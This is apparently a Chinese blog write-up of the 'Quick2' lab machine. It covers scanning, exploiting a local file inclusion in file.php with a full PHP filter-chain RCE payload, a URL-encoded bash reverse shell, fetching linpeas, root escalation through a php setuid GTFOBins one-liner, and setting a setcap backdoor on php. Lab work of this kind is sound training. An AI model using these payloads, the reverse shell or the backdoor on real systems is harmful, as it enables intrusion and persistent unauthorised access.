Quick2靶机渗透

笔记编辑于2025/11/23

本文是个人参考【OSCP】quick2进行的复现的文章

靶机渗透开场

攻击机1

主机存活发现

复制代码
┌──(root㉿Xudde)-[~]
└─# ip a
┌──(root㉿Xudde)-[~]
└─# nmap -sP 192.168.161.130/24

发现靶机192.168.161.131

攻击机2

端口扫描

复制代码
┌──(root㉿Xudde)-[~]
└─# nmap -sV -O -p- 192.168.161.131

攻击机3

目录扫描

复制代码
┌──(root㉿Xudde)-[~]
└─# dirsearch -u http://192.168.161.131:80/

攻击机4

漏洞扫描

复制代码
┌──(root㉿Xudde)-[~]
└─# nikto -host http://192.168.161.131

nikto告诉我们index.php?page=存在文件本地文件包含漏洞

攻击机5

验证本地文件包含漏洞

当然在file.php这个文件也有本地文件包含漏洞

攻击机6

用脚本php_filter_chain_generator.py构造RCE

https://github.com/synacktiv/php_filter_chain_generator

一个用于生成PHP过滤器链的命令行工具,如果你完全控制传入PHP require或include的参数,则无需上传文件即可获得RCE!

复制代码
python3 php_filter_chain_generator.py --chain '<?=`$_GET[0]`?>'

攻击机7

file=后面加上&0=id执行命令

复制代码
http:?/192.168.161.131:80/file.php?file=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp&0=id

攻击机8

反弹shell,命令需要url编码

复制代码
//编码前
/bin/bash -c "/bin/bash -i >& /dev/tcp/192.168.161.131/6666 0>&1"
//编码后,插入&0=后面,本地执行nc -lvvp 6666监听
%2fbin%2fbash+-c+%22%2fbin%2fbash+-i+%3e%26+%2fdev%2ftcp%2f192.168.161.131%2f6666+0%3e%261%22         

成功拿到shell

目标机1

复制代码
cd /home/nick
cat user.txt

第一个flag,HMV{Its-gonna-be-a-fast-ride}

靶机渗透内网提权

攻击机10

提权

在/tmp目录下上传linpeas.sh扫描

复制代码
python -m http.server 7777

目标机2

复制代码
wget http://192.168.161.130:7777/linpeas.sh

目标机3

给予linpeas.sh执行权限,并执行linpeas.sh

复制代码
chmod +x linpeas.sh ./linpeas.sh

目标机4

根据描述查看有无RED/YELLOW

攻击机11

复制代码
https://gtfobins.github.io/gtfobins/php/

目标机5

复制代码
/usr/bin/php8.1 -r "posix_setuid(0);system('/bin/sh');" 
或者 
CMD="/bin/sh" 
/usr/bin/php8.1 -r "posix_setuid(0);system('$CMD');"

目标机6

复制代码
ls /root/ cat /root/root.txt

得到第二个flag,HMV{This-was-a-Quick-AND-fast-machine}

靶机渗透结束收场

web漏洞源代码分析

file.php文件

复制代码
www-data@quick2:/var/www/html$ cat file.php
cat file.php
<html>
<body>
<h2>Local File Inclusion Vulnerability</h2>
<form method="get" action="<?php echo $_SERVER['PHP_SELF'];?>">
  File to include: <input type="text" name="file">
  <input type="submit">
</form>
<?php
if (isset($_GET['file'])) {
  include($_GET['file']);
}
?>
</body>
</html>

没有任何过滤

可以利用php伪协议执行代码

复制代码
http://192.168.161.131:80/file.php?file=php://filter/convert.base64-encode/resource={file}.php

还有file:///etc/passwd读取文件

另外因为靶机php配置文件没有开启allow_url_include无法实现php://input和data://

且allow_url_fopen也是关闭的远程文件包含更无法实现

渗透收获

设置提权后门方法

setcap cap_setuid=ep /usr/bin/php8.1 //允许进程修改自身用户id

提权后门提权方法

/usr/bin/php8.1 -r "posix_setuid=(0);system('/bin/sh');"

这波渗透收获也蛮丰收,懂得了设置提权后面的方法和新的提权方法

相关推荐
http阿拉丁神猫2 小时前
Go语言入门笔记:从基础到开发环境搭建(二)
开发语言·笔记·golang
4SAPI5 小时前
多模型请求路由怎么设计?成本、速度和能力如何平衡
人工智能·python·gateway·php
HRBorderInsight5 小时前
马来西亚人均收入一个月多少钱,个人薪资和家庭收入要分开看
经验分享·笔记
又見山7 小时前
本地 Markdown 与数据主权:你的笔记到底属于谁
笔记·obsidian
发量惊人的中年网工7 小时前
分公司访问总部ERP慢怎么办?SD-WAN组网的排查与验收要点
服务器·开发语言·php
撩得Android一次心动8 小时前
Jetpack Compose 知识点整理2【个人用】
android·笔记·学习·kotlin·compose
cao23338 小时前
关于 x1 y1 等变量名冲突的指正(校对版)
笔记
dadaobusi9 小时前
学习:灵犀指令集
学习
Demons_kirit9 小时前
CTFHub 信息泄露通关笔记:Git泄露 Log - 教程
笔记·git·网络安全
苏能润滑油油液文哥9 小时前
储能液冷安全边界解析:从热失控链条看冷却液的介入区间与选型指标
安全